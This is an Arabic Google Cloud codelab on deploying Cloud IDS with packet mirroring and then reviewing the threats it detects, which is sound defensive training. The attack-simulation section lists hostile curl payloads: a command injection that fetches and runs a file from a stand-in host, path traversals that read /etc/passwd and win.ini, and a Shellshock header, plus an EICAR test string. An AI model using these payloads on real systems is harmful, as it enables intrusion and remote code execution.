1. مقدمة
في هذا التمرين المعملي، يمكنك نشر نظام كشف التسلل من الجيل التالي، وهو خدمة متطورة لكشف التسلل توفر لك الكشف عن التهديدات بهدف الكشف عن عمليات التسلّل والبرامج الضارة وبرامج التجسس وهجمات الأوامر والتحكُّم. سيكون بإمكانك محاكاة عدة هجمات وعرض تفاصيل التهديد في Cloud Console.
المعلومات التي ستطّلع عليها
- كيفية إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud
- كيفية إنشاء جهازَين افتراضيَين باستخدام أوامر gcloud
- كيفية إنشاء سياسة النسخ المطابق للحِزم
- طريقة محاكاة حركة المرور الهجومية من جهاز افتراضي
- كيفية عرض تفاصيل التهديد في Cloud Console وCloud Logging
المتطلبات
- معرفة أوامر Linux الأساسية
2. حالات الاستخدام لنظام كشف التسلل (IDS) من Cloud
يوفّر نظام كشف التسلل Cloud خدمة كشف التسلل (IDS) من الجيل التالي الأصلية من Google Cloud للعملاء من أجل استيفاء المتطلبات المتقدّمة لرصد التهديدات والامتثال، مثل معيار PCI 11.4. وهذه الخدمة مدعومة بتقنيات الحماية من التهديدات التي تصدر من Palo Alto Networks، وذلك لتوفير نظام متقدّم للكشف عن محاولات التسلل. من خلال الجمع بين بنية Google Cloud الأساسية ذات المستوى العالمي والأمان العالي المستوى من Palo Alto Networks، يمكن للعملاء الحصول على مزيج لا مثيل له من خدمة رصد التهديدات المتقدّمة مُدارة بالكامل وأداءً عاليًا وأعلى كفاءة في الأمان.
ومع انتقال العملاء إلى السحابة الإلكترونية، يكون الأمان أوّل ما يخطر في بالهم. ويريدون الحصول على عناصر التحكم في الأمان المماثلة التي يستخدمونها داخل الشركة، مثل خدمة كشف التسلل (IDS) في السحابة الإلكترونية. ويفضّلون بشدة استخدام حل نظام كشف التسلل (IDS) المُدار من خلال السحابة الإلكترونية، وذلك لسهولة النشر وتعزيز الأداء والتكلفة المحسّنة مقارنةً بنشر حل أمان من جهة خارجية وإدارة البنية الأساسية أو توفير توقيعاتهم الخاصة. توفّر "نظام كشف التسلل" (IDS) من Google Cloud خدمة نظام كشف التسلل المُدارة شاملة التطوّر تلقائيًا، ما يتيح للعملاء قضاء وقتهم في تحليل التهديدات والحدّ منها، بالإضافة إلى توفير الوقت والموارد لإدارة البنية الأساسية أو توقيعات التهديدات.
يتم نشر نظام كشف التسلل Cloud خارج النطاق ويمكنه رصد التهديدات والتنبيه عليها، ولكن لا يمكنه حظر التهديدات. تستفيد هذه الخدمة من النسخ المطابق لحزمة Google Cloud لإنشاء نسخة من حركة بيانات الشبكة التي يتم تحليلها باستخدام محرك كشف التهديدات في شبكة Palo Alto.
3- طوبولوجيا الدرس التطبيقي حول الترميز
الشكل 1. نظرة عامة عالية المستوى حول كيفية نشر نظام كشف التسلل (IDS) على السحابة الإلكترونية في هذا التمرين المعملي.
4. الإعداد والمتطلبات
إعداد بيئة ذاتية
- سجِّل الدخول إلى Google Cloud Console وأنشئ مشروعًا جديدًا أو أعِد استخدام مشروع حالي. إذا لم يكن لديك حساب على Gmail أو Google Workspace، عليك إنشاء حساب.
- اسم المشروع هو الاسم المعروض للمشاركين في هذا المشروع. وهي سلسلة أحرف لا تستخدمها Google APIs، ويمكنك تحديثها في أي وقت.
- يجب أن يكون رقم تعريف المشروع فريدًا في جميع مشاريع Google Cloud وغير قابل للتغيير (لا يمكن تغييره بعد ضبطه). تنشئ Cloud Console سلسلة فريدة تلقائيًا. فعادةً لا تهتم بما هو. في معظم الدروس التطبيقية حول الترميز، يجب الرجوع إلى رقم تعريف المشروع (والذي يتم تحديده عادةً على أنّه
PROJECT_ID
). لذلك، إذا لم يعجبك، يمكنك إنشاء رقم تعريف عشوائي آخر، أو يمكنك تجربة رقم تعريف المشروع الخاص بك ومعرفة ما إذا كان متاحًا. بعد أن يصبح "مجمّد" بعد إنشاء المشروع. - هناك قيمة ثالثة، وهي رقم المشروع الذي تستخدمه بعض واجهات برمجة التطبيقات. اطّلِع على مزيد من المعلومات حول هذه القيم الثلاث في المستندات.
- بعد ذلك، عليك تفعيل الفوترة في Cloud Console لاستخدام الموارد/واجهات برمجة التطبيقات في Cloud. إنّ تنفيذ هذا الدرس التطبيقي حول الترميز لن يكون مكلفًا أو مكلفًا على الإطلاق. لإيقاف تشغيل الموارد حتى لا تتحمل الفوترة بعد أكثر من هذا البرنامج التعليمي، اتبع أي عملية "تنظيف". التعليمات الموجودة في نهاية الدرس التطبيقي حول الترميز. يكون مستخدمو Google Cloud الجدد مؤهَّلون للانضمام إلى برنامج فترة تجريبية مجانية بقيمة 300 دولار أمريكي.
بدء Cloud Shell
مع أنّه يمكن إدارة Google Cloud عن بُعد من الكمبيوتر المحمول، ستستخدم في هذا الدرس التطبيقي Google Cloud Shell، وهي بيئة سطر أوامر يتم تشغيلها في السحابة الإلكترونية.
من وحدة تحكّم Google Cloud Platform، انقر على رمز Cloud Shell في شريط الأدوات العلوي الأيسر:
من المفترَض أن تستغرق عملية إدارة الحسابات والاتصال بالبيئة بضع لحظات فقط. عند الانتهاء، من المفترض أن يظهر لك شيء مثل هذا:
يتم تحميل هذه الآلة الافتراضية مزوّدة بكل أدوات التطوير التي ستحتاج إليها. وتوفّر هذه الشبكة دليلاً رئيسيًا دائمًا بسعة 5 غيغابايت وتعمل على Google Cloud، ما يحسّن بشكل كبير من أداء الشبكة والمصادقة. يمكنك تنفيذ كل أعمالك في هذا التمرين من خلال متصفح.
5- قبل البدء
تفعيل واجهات برمجة التطبيقات
داخل Cloud Shell، تأكَّد من إعداد رقم تعريف مشروعك.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
تفعيل جميع الخدمات اللازمة
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6- إنشاء شبكة VPC
شبكة VC
من Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
الشبكة الفرعية
من Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
الوصول إلى الخدمات الخاصة
من Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
اتصال خدمة خاصة
من Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
قواعد جدار الحماية
للسماح لعمليات الشراء داخل التطبيق بالاتصال بمثيلات الأجهزة الافتراضية، أنشِئ قاعدة جدار حماية تعمل على:
- ينطبق ذلك على جميع مثيلات الأجهزة الافتراضية التي تريد أن تتوفّر إمكانية الوصول إليها من خلال استخدام الشراء داخل التطبيق.
- يسمح بالزيارات الواردة من نطاق IP 35.235.240.0/20. يحتوي هذا النطاق على جميع عناوين IP التي يستخدمها بروتوكول IAP لإعادة توجيه بروتوكول التحكم بالنقل.
من Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
للسماح بمنفذ HTTP القياسي (TCP 80) وبروتوكول ICMP للخادم:
- يتم تطبيقه على الموارد التي تحتوي على علامة الشبكة "الخادم"
- يسمح بدخول البيانات من جميع المصادر.
من Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
إنشاء مثيل Cloud NAT
جهاز توجيه السحابة الإلكترونية
من Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
من Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud
في هذا القسم، يمكنك إنشاء نقطة نهاية لنظام كشف التسلل Cloud في us-east1، مع ضبط درجة الخطورة على "معلوماتية". يستغرق إنشاء نقطة نهاية نظام كشف التسلل 20 دقيقة تقريبًا.
نقطة نهاية نظام كشف التسلل
من Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
التأكّد من بدء نقطة نهاية نظام كشف التسلل (IDS) من Cloud
gcloud ids endpoints list --project=$PROJECT_ID
الإخراج -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. إنشاء جهازَين افتراضيَين
في هذا القسم، يمكنك إنشاء جهازَين افتراضيَين. سيكون الأول هو خادم الويب الذي يوفر نسخة مطابقة لنظام كشف التسلل (IDS) من Cloud. سيكون الجهاز الافتراضي الثاني هو مصدر الزيارات الهجومية.
الجهاز الافتراضي 1 (الخادم)
من Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
الجهاز الافتراضي 2 (العميل)
من Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. جارٍ تحضير الخادم
في هذه المهمة، ستتحقق من صحة خادمك وستوفر حمولة بيانات أساسية ضارة لبرامج ضارة لعميلك.
بروتوكول النقل الآمن (SSH) إلى الجهاز الافتراضي (VM) من خلال Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
التأكّد من أنّ خدمة الويب قيد التشغيل
sudo systemctl status nginx
الإخراج - التحقق من حالة النشاط والتشغيل
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
تغيير الدليل إلى خدمة ويب
cd /var/www/html/
إنشاء ملف برامج ضارة غير خطير على خادم الويب
sudo touch eicar.file
لصق المحتوى
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
الرجوع إلى CloudShell
exit
إنشاء سياسة النسخ المطابق لحِزم نظام كشف التسلل (IDS)
حدِّد قاعدة إعادة توجيه نقاط النهاية لنظام كشف التسلل وتأكَّد من أنّ حالة نقطة نهاية نظام كشف التسلل هي "READY".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
مثال على الإخراج - انسخ القيمة من "endpointRedirectRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
احفظ قاعدة إعادة توجيه نقاط النهاية لنظام كشف التسلل إلى متغيّر.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
سياسة النسخ المطابق للحزمة
من Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
التأكّد من إنشاء سياسة النسخ المطابق للحِزم
من Cloud Shell
gcloud compute packet-mirrorings list
الناتج
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. محاكاة حركة المرور الهجومية
بروتوكول النقل الآمن (SSH) إلى الجهاز الافتراضي للمهاجم (العميل)
من Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
يمكنك تنفيذ طلبات التجعيد التالية لمحاكاة حركة البيانات الضارة.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
الخروج من الجهاز الافتراضي للرجوع إلى CloudShell
exit
11. مراجعة التهديدات التي تم رصدها من خلال نظام كشف التسلل (IDS) من Cloud
الانتقال إلى لوحة بيانات نظام كشف التسلل (IDS) من Cloud
قائمة التنقل > أمان الشبكات > نظام كشف التسلل Cloud
انتقِل إلى علامة التبويب "التهديدات".
وكما ترى، استطاع نظام كشف التسلل من السحابة الإلكترونية تسجيل ملفات شخصية متنوعة لحركة المرور الهجومية وقدم تفاصيل عن كل تهديد. قد تحتاج إلى النقر على زر "إعادة التحميل" إذا لم تظهر لك أي تهديدات. سنتناول الآن بمزيد من التفصيل ونعرض تفاصيل التهديد.
حدِّد موقع "الثغرة الأمنية تنفيذ رمز Bash عن بُعد" التهديد وانقر على النقاط الثلاث في يسار الشاشة واختَر "عرض تفاصيل التهديد"
سنطّلع الآن على تفاصيل هذه الحادثة في Cloud Logging. يمكنك العودة إلى صفحة "التهديدات" من خلال النقر على سهم التأشير الأيسر .
انقر على النقاط الثلاث على يسار الشاشة واختَر "عرض سجلات التهديدات".
يتم توفير التفاصيل نفسها لتسجيل الدخول إلى السحابة الإلكترونية. ويتيح لك ذلك إرسال السجلّات إلى Cloud Storage أو Chronicle أو أيّ نظام SIEM/SOAR. يمكنك أيضًا إنشاء مهام سير عمل مخصّصة لاتّخاذ إجراءات تصدير البيانات الناقصة استنادًا إلى تنبيهات، مثل: إنشاء دالة سحابة إلكترونية يتم تشغيلها عند تنبيه وإنشاء أو تعديل قاعدة جدار حماية لحظر عنوان IP أو إنشاء أو تعديل سياسة Cloud Armor
12. خطوات التنظيف
الخروج من مثيل الجهاز الافتراضي (كل علامات التبويب)
exit
حذف مكونات التمرين المعملي من وحدة طرفية واحدة في Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. تهانينا!
تهانينا على إكمال الدرس التطبيقي حول الترميز.
المواضيع التي تناولناها
- حالات الاستخدام لنظام كشف التسلل (IDS) من Cloud
- متطلبات الشبكة
- واجهات برمجة التطبيقات المتوافقة
- تم إنشاء نقطة نهاية لنظام كشف التسلل (IDS) من Cloud
- تم نشر جهازَين افتراضيَين (VM).
- تسبّب في "هجوم" الزيارات الواردة من العميل
- رصد نظام كشف التسلل التهديدات التي تم التحقّق منها.
- مراجعة تفاصيل التهديد وسجلّاته